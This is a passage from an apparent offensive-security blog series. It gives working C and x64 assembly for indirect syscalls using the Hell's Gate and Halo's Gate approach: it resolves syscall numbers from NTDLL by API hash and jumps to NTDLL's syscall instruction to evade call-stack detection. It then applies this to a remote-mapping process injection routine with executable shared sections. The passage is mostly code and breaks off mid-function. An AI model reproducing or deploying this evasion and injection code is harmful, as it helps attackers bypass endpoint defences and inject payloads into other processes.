</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">6</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> UP) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x00</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">7</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> UP) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x00</span>) {
</span></span><span style="display:flex;"><span>                    BYTE high <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">5</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> UP);
</span></span><span style="display:flex;"><span>                    BYTE low <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">4</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> UP);
</span></span><span style="display:flex;"><span>                    pVxTableEntry<span style="color:#f92672">-&gt;</span>wSystemCall <span style="color:#f92672">=</span> (high <span style="color:#f92672">&lt;&lt;</span> <span style="color:#ae81ff">8</span>) <span style="color:#f92672">|</span> low <span style="color:#f92672">+</span> idx;
</span></span><span style="display:flex;"><span>                    <span style="color:#66d9ef">return</span> TRUE;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="now-its-our-turn-to-jump">Now it&rsquo;s our Turn to Jump</h3>
<p>After I retrieve the SSN, I&rsquo;ll have to set it up using a Native-API-like stub in my source code and call the kernel routines by executing <code>syscall</code> instruction from my user land process.</p>
<pre tabindex="0"><code>mov r10, rcx
mov eax, wSystemCall   ; &lt;--------- SSN
syscall
ret
</code></pre><p>This technique is called a direct syscall approach and can be easily detected by inspecting the call stack that highlights the <code>syscall</code> instruction being executed outside of the <code>NTDLL.dll</code> memory space.</p>
<p>To rephrase, the defensive controls expect <code>syscall</code> instructions only from the <code>NTDLL.dll</code> memory.</p>
<p>As I already need crawl the <code>NTDLL.dll</code> memory for SSN, if I store the address of the <code>syscall</code> instructions too, I can jump to them once I&rsquo;ve configured the parameters and setup the call.</p>
<p>Thus the modified stub in my user land code would look like:</p>
<pre tabindex="0"><code>mov r10, rcx
mov eax, wSystemCall		        ; &lt;---------- SSN
jmp qword ptr [qSyscallInsAdress]	; jumping to syscall-instruction&#39;s address instead of executing &#39;syscall&#39;
ret
</code></pre><p>This is what they call the indirect syscall approach.</p>
<h3 id="less-talk-more-code">Less Talk, More Code</h3>
<blockquote>
<p>If you haven&rsquo;t gone through the <a href="https://ashtrace.github.io/posts/stripping_iocs/">previous blog</a>, I highly suggest to read it before continuing.</p>
</blockquote>
<p>To implement what is discussed above, I started with a defining structure to hold the SSN and address for the <code>syscall</code> instruction for each Native API.</p>
<p>As I already had compile-time API hashing from previous blog iterations, I leveraged it to make the API&rsquo;s name&rsquo;s hash as its primary identifier instead of hardcoding their names in plaintext.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">// Stores information pertaining to a syscall
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">typedef</span> <span style="color:#66d9ef">struct</span> _NT_SYSCALL
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>	ULONG uSyscallHash;             <span style="color:#75715e">// syscall hash value
</span></span></span><span style="display:flex;"><span>	DWORD dwSSn;                    <span style="color:#75715e">// syscall number
</span></span></span><span style="display:flex;"><span>	PVOID pSyscallInstAddress;		<span style="color:#75715e">// address for `syscall` instruction.
</span></span></span><span style="display:flex;"><span>}NT_SYSCALL, <span style="color:#f92672">*</span> PNT_SYSCALL;
</span></span></code></pre></div><p>Next, I decided upon the APIs to be targeted. I went on with the functions being used in Remote-Mapping Injection and APC Injection.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">// All the syscalls that I&#39;ll need
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">typedef</span> <span style="color:#66d9ef">struct</span> _SYSCALL_TABLE {
</span></span><span style="display:flex;"><span>	NT_SYSCALL NtCreateSection;
</span></span><span style="display:flex;"><span>	NT_SYSCALL NtMapViewOfSection;
</span></span><span style="display:flex;"><span>    NT_SYSCALL NtClose;
</span></span><span style="display:flex;"><span>	NT_SYSCALL NtQueueApcThread;
</span></span><span style="display:flex;"><span>} SYSCALL_TABLE, <span style="color:#f92672">*</span> PSYSCALL_TABLE;
</span></span></code></pre></div><p>Using the compile-time hash macros from the previous blog, I defined the target function hashes along with hash for the module name.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#75715e">// define hashes for syscall wrappers at compile-time
</span></span></span><span style="display:flex;"><span>CTIME_HFOWLERA(NtCreateSection);
</span></span><span style="display:flex;"><span>CTIME_HFOWLERA(NtMapViewOfSection);
</span></span><span style="display:flex;"><span>CTIME_HFOWLERA(NtClose);
</span></span><span style="display:flex;"><span>CTIME_HFOWLERA(NtQueueApcThread);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// define hash for ntdll.dll at compile-time
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">constexpr</span> ULONG	NTDLL_FnvvW <span style="color:#f92672">=</span> HashStringFowlerNollVoVariant1aW(<span style="color:#e6db74">L</span><span style="color:#e6db74">&#34;NTDLL.DLL&#34;</span>);
</span></span></code></pre></div><p>Next, I defined an <code>GetSyscallAddress</code> function to resolve the SSN and <code>syscall</code> instruction address in <code>NTDLL.dll</code> from the target function hash using the Halo&rsquo;s Gate search approach.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>BOOL <span style="color:#a6e22e">GetSyscallAddress</span>(
</span></span><span style="display:flex;"><span>	IN  PWINAPI_MODULE  pNtdll,                 <span style="color:#75715e">// internal representation of NTDLL.dll module
</span></span></span><span style="display:flex;"><span>	IN  ULONG           uSysHash,               <span style="color:#75715e">// target function&#39;s hash
</span></span></span><span style="display:flex;"><span>	OUT PNT_SYSCALL     pNtSys                  <span style="color:#75715e">// struct to return data for target function
</span></span></span><span style="display:flex;"><span>) {
</span></span><span style="display:flex;"><span>	PBYTE pNtBase <span style="color:#f92672">=</span> (BYTE<span style="color:#f92672">*</span>)pNtdll<span style="color:#f92672">-&gt;</span>ModuleHandle;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (uSysHash <span style="color:#f92672">!=</span> NULL)
</span></span><span style="display:flex;"><span>		pNtSys<span style="color:#f92672">-&gt;</span>uSyscallHash <span style="color:#f92672">=</span> uSysHash;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// searching for &#39;uSysHash&#39; in the exported functions of ntdll
</span></span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">size_t</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> (i ; i <span style="color:#f92672">&lt;</span> pNtdll<span style="color:#f92672">-&gt;</span>NumberOfFunctions; i<span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		PCHAR pcFuncName <span style="color:#f92672">=</span> (PCHAR)(pNtBase <span style="color:#f92672">+</span> pNtdll<span style="color:#f92672">-&gt;</span>FunctionNameArray[i]);
</span></span><span style="display:flex;"><span>		PVOID pFuncAddress <span style="color:#f92672">=</span> (PVOID)(pNtBase <span style="color:#f92672">+</span> pNtdll<span style="color:#f92672">-&gt;</span>FunctionAddressArray[pNtdll<span style="color:#f92672">-&gt;</span>FunctionOrdinalArray[i]]);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#75715e">// if syscall found
</span></span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">RTIME_HFOWLERA</span>(pcFuncName) <span style="color:#f92672">==</span> uSysHash) {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>			<span style="color:#75715e">// SEARCH LOGIC AS DEFINED FOR HALO&#39;S GATE
</span></span></span><span style="display:flex;"><span>		
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	ULONG_PTR uFuncAddress <span style="color:#f92672">=</span> (ULONG_PTR)(pNtBase <span style="color:#f92672">+</span> pNtdll<span style="color:#f92672">-&gt;</span>FunctionAddressArray[pNtdll<span style="color:#f92672">-&gt;</span>FunctionOrdinalArray[i]]);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// resolving the `syscall` instruction address
</span></span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> (DWORD z <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; z <span style="color:#f92672">&lt;=</span> RANGE; z<span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> (<span style="color:#f92672">*</span>((PBYTE)uFuncAddress <span style="color:#f92672">+</span> z) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x0F</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)uFuncAddress <span style="color:#f92672">+</span> z <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x05</span>) {
</span></span><span style="display:flex;"><span>			pNtSys<span style="color:#f92672">-&gt;</span>pSyscallInstAddress <span style="color:#f92672">=</span> (PVOID)((ULONG_PTR)uFuncAddress <span style="color:#f92672">+</span> z);
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">break</span>;  <span style="color:#75715e">// break for-loop [x]
</span></span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// checking if all NT_SYSCALL&#39;s (pNtSys) element are initialized
</span></span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (pNtSys<span style="color:#f92672">-&gt;</span>dwSSn <span style="color:#f92672">!=</span> NULL <span style="color:#f92672">&amp;&amp;</span> pNtSys<span style="color:#f92672">-&gt;</span>pSyscallInstAddress <span style="color:#f92672">!=</span> NULL <span style="color:#f92672">&amp;&amp;</span> pNtSys<span style="color:#f92672">-&gt;</span>uSyscallHash <span style="color:#f92672">!=</span> NULL)
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> TRUE;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Next, I retrieved the required information for all my target Native API functions.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>BOOL <span style="color:#a6e22e">ResolveSyscalls</span>(
</span></span><span style="display:flex;"><span>	OUT PSYSCALL_TABLE<span style="color:#f92672">*</span>	ppSyscallTable
</span></span><span style="display:flex;"><span>) {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	PWINAPI_MODULE	pNtdll <span style="color:#f92672">=</span> (PWINAPI_MODULE)<span style="color:#a6e22e">HeapAlloc</span>(<span style="color:#a6e22e">GetProcessHeap</span>(), HEAP_ZERO_MEMORY, <span style="color:#66d9ef">sizeof</span>(WINAPI_MODULE));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>pNtdll) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;Failed to allocate memory for NTDLL module.&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	pNtdll<span style="color:#f92672">-&gt;</span>ModuleHash <span style="color:#f92672">=</span> NTDLL_FnvvW;
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">GetModuleHandleCustom</span>(pNtdll);				<span style="color:#75715e">// populates pNtdll-&gt;ModuleHandle
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">GetProcAddressCustom</span>(pNtdll, NULL);			<span style="color:#75715e">// populates the count and array addresses for Ntdll
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>pNtdll<span style="color:#f92672">-&gt;</span>ModuleHandle <span style="color:#f92672">||</span> <span style="color:#f92672">!</span>pNtdll<span style="color:#f92672">-&gt;</span>NumberOfFunctions <span style="color:#f92672">||</span> <span style="color:#f92672">!</span>pNtdll<span style="color:#f92672">-&gt;</span>FunctionNameArray <span style="color:#f92672">||</span> <span style="color:#f92672">!</span>pNtdll<span style="color:#f92672">-&gt;</span>FunctionAddressArray <span style="color:#f92672">||</span> <span style="color:#f92672">!</span>pNtdll<span style="color:#f92672">-&gt;</span>FunctionOrdinalArray) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;Failed to fetch information for NTDLL.DLL&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	PSYSCALL_TABLE pSysTable <span style="color:#f92672">=</span> (PSYSCALL_TABLE)<span style="color:#a6e22e">HeapAlloc</span>(<span style="color:#a6e22e">GetProcessHeap</span>(), HEAP_ZERO_MEMORY, <span style="color:#66d9ef">sizeof</span>(SYSCALL_TABLE));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>pSysTable) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;Failed to allocate memory for syscall table.&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">GetSyscallAddress</span>(pNtdll, NtCreateSection_FnvvA, <span style="color:#f92672">&amp;</span>pSysTable<span style="color:#f92672">-&gt;</span>NtCreateSection)) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;Failed to resolve NtCreateSection.&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">NtCreateSection</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74"> syscall number: %d</span><span style="color:#ae81ff">\t</span><span style="color:#e6db74">`syscall` instruction address: 0x%p&#34;</span>, pSysTable<span style="color:#f92672">-&gt;</span>NtCreateSection.dwSSn, pSysTable<span style="color:#f92672">-&gt;</span>NtCreateSection.pSyscallInstAddress);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">GetSyscallAddress</span>(pNtdll, NtMapViewOfSection_FnvvA, <span style="color:#f92672">&amp;</span>pSysTable<span style="color:#f92672">-&gt;</span>NtMapViewOfSection)) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;Failed to resolve NtMapViewOfSection.&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">NtMapViewOfSection</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74"> syscall number: %d</span><span style="color:#ae81ff">\t</span><span style="color:#e6db74">`syscall` instruction address: 0x%p&#34;</span>, pSysTable<span style="color:#f92672">-&gt;</span>NtMapViewOfSection.dwSSn, pSysTable<span style="color:#f92672">-&gt;</span>NtMapViewOfSection.pSyscallInstAddress);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">GetSyscallAddress</span>(pNtdll, NtClose_FnvvA, <span style="color:#f92672">&amp;</span>pSysTable<span style="color:#f92672">-&gt;</span>NtClose)) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;Failed to resolve NtClose.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">NtClose</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74"> syscall number: %d</span><span style="color:#ae81ff">\t</span><span style="color:#e6db74">`syscall` instruction address: 0x%p&#34;</span>, pSysTable<span style="color:#f92672">-&gt;</span>NtClose.dwSSn, pSysTable<span style="color:#f92672">-&gt;</span>NtClose.pSyscallInstAddress);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">GetSyscallAddress</span>(pNtdll, NtQueueApcThread_FnvvA, <span style="color:#f92672">&amp;</span>pSysTable<span style="color:#f92672">-&gt;</span>NtQueueApcThread)) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;Failed to resolve NtQueueApcThread.&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">NtQueueApcThread</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74"> syscall number: %d</span><span style="color:#ae81ff">\t</span><span style="color:#e6db74">`syscall` instruction address: 0x%p&#34;</span>, pSysTable<span style="color:#f92672">-&gt;</span>NtQueueApcThread.dwSSn, pSysTable<span style="color:#f92672">-&gt;</span>NtQueueApcThread.pSyscallInstAddress);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">*</span>ppSyscallTable <span style="color:#f92672">=</span> pSysTable;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> TRUE;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>To use the SSN, I defined the following stub in x64 assembly:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-asm" data-lang="asm"><span style="display:flex;"><span><span style="color:#a6e22e">.data</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">wSystemCall</span>       <span style="color:#66d9ef">DWORD</span>	<span style="color:#ae81ff">0</span><span style="color:#66d9ef">h</span>	    <span style="color:#75715e">; syscall number
</span></span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">qSyscallInsAdress</span> <span style="color:#66d9ef">QWORD</span>	<span style="color:#ae81ff">0</span><span style="color:#66d9ef">h</span>	    <span style="color:#75715e">; memory address of the `syscall` instruction
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">.code</span> 
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">HellsGate</span> <span style="color:#66d9ef">PROC</span>
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">mov</span> <span style="color:#66d9ef">wSystemCall</span>, <span style="color:#ae81ff">0</span><span style="color:#66d9ef">h</span>
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">mov</span> <span style="color:#66d9ef">qSyscallInsAdress</span>, <span style="color:#ae81ff">0</span><span style="color:#66d9ef">h</span>
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">mov</span> <span style="color:#66d9ef">wSystemCall</span>, <span style="color:#66d9ef">ecx</span>		    <span style="color:#75715e">; saving the ssn value to wSystemCall
</span></span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">mov</span> <span style="color:#66d9ef">qSyscallInsAdress</span>, <span style="color:#66d9ef">rdx</span>	<span style="color:#75715e">; saving the syscall instruction address to qSyscallInsAdress	
</span></span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">ret</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">HellsGate</span> <span style="color:#66d9ef">ENDP</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">HellDescent</span> <span style="color:#66d9ef">PROC</span>
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">mov</span> <span style="color:#66d9ef">r10</span>, <span style="color:#66d9ef">rcx</span>
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">mov</span> <span style="color:#66d9ef">eax</span>, <span style="color:#66d9ef">wSystemCall</span>		
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">jmp</span> <span style="color:#66d9ef">qword</span> <span style="color:#66d9ef">ptr</span> [<span style="color:#66d9ef">qSyscallInsAdress</span>]	<span style="color:#75715e">; jumping to qSyscallInsAdress instead of calling &#39;syscall&#39;
</span></span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">ret</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">HellDescent</span> <span style="color:#66d9ef">ENDP</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">end</span>
</span></span></code></pre></div><ul>
<li>The <code>HellsGate</code> procedure takes SSN and syscall-instruction address as parameters and set them up in their respective variables.</li>
<li>The <code>HellDescent</code> procedure performs the indirect syscall using the variables configured above.</li>
</ul>
<p>After I had this basic scaffolding developed, I modified the remote-mapping injection source code to use indirect-system calls instead of WinAPIs.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>BOOL <span style="color:#a6e22e">CopyBlob</span>(
</span></span><span style="display:flex;"><span>	IN	PSYSCALL_TABLE	pSyscallTable,
</span></span><span style="display:flex;"><span>	IN	HANDLE			hProcess,
</span></span><span style="display:flex;"><span>	IN	PBYTE			pBlob,
</span></span><span style="display:flex;"><span>	IN	SIZE_T			sBlobSize,
</span></span><span style="display:flex;"><span>	OUT	PBYTE<span style="color:#f92672">*</span>			ppBlobCopyAddress
</span></span><span style="display:flex;"><span>) {
</span></span><span style="display:flex;"><span>	BOOL		bSTATE <span style="color:#f92672">=</span> TRUE;
</span></span><span style="display:flex;"><span>	HANDLE		hSection <span style="color:#f92672">=</span> NULL;
</span></span><span style="display:flex;"><span>	PVOID		pMapLocalAddress <span style="color:#f92672">=</span> NULL,
</span></span><span style="display:flex;"><span>				pMapRemoteAddress <span style="color:#f92672">=</span> NULL;
</span></span><span style="display:flex;"><span>	NTSTATUS	STATUS <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	SIZE_T			sViewSize <span style="color:#f92672">=</span> NULL;
</span></span><span style="display:flex;"><span>	LARGE_INTEGER	MaximumSize <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>		.HighPart <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>,
</span></span><span style="display:flex;"><span>		.LowPart <span style="color:#f92672">=</span> sBlobSize
</span></span><span style="display:flex;"><span>	};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">HellsGate</span>(pSyscallTable<span style="color:#f92672">-&gt;</span>NtCreateSection.dwSSn, pSyscallTable<span style="color:#f92672">-&gt;</span>NtCreateSection.pSyscallInstAddress);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> ((STATUS <span style="color:#f92672">=</span> <span style="color:#a6e22e">HellDescent</span>(<span style="color:#f92672">&amp;</span>hSection, SECTION_RWX, NULL, <span style="color:#f92672">&amp;</span>MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;NtCreateSection failed with error: 0x%0.8X</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, STATUS);
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">goto</span> _EndOfFunction;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">HellsGate</span>(pSyscallTable<span style="color:#f92672">-&gt;</span>NtMapViewOfSection.dwSSn, pSyscallTable<span style="color:#f92672">-&gt;</span>NtMapViewOfSection.pSyscallInstAddress);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> ((STATUS <span style="color:#f92672">=</span> <span style="color:#a6e22e">HellDescent</span>(hSection, (HANDLE)<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>, <span style="color:#f92672">&amp;</span>pMapLocalAddress, NULL, NULL, NULL, <span style="color:#f92672">&amp;</span>sViewSize, ViewShare, NULL, PAGE_READWRITE)) <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;NtMapViewOfSection failed with error: 0x%0.8X</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, STATUS);
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">goto</span> _EndOfFunction;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">memcpy</span>(pMapLocalAddress, pBlob, sBlobSize);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">HellsGate</span>(pSyscallTable<span style="color:#f92672">-&gt;</span>NtMapViewOfSection.dwSSn, pSyscallTable<span style="color:#f92672">-&gt;</span>NtMapViewOfSection.pSyscallInstAddress);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> ((STATUS <span style="color:#f92672">=</span> <span style="color:#a6e22e">HellDescent</span>(hSection, hProcess, <span style="color:#f92672">&amp;</span>pMapRemoteAddress, NULL, NULL, NULL, <span style="color:#f92672">&amp;</span>sViewSize, ViewShare, NULL, PAGE_EXECUTE_READ)) <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;NtMapViewOfSection failed with error: 0x%0.8X</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, STATUS);
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">goto</span> _EndOfFunction;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
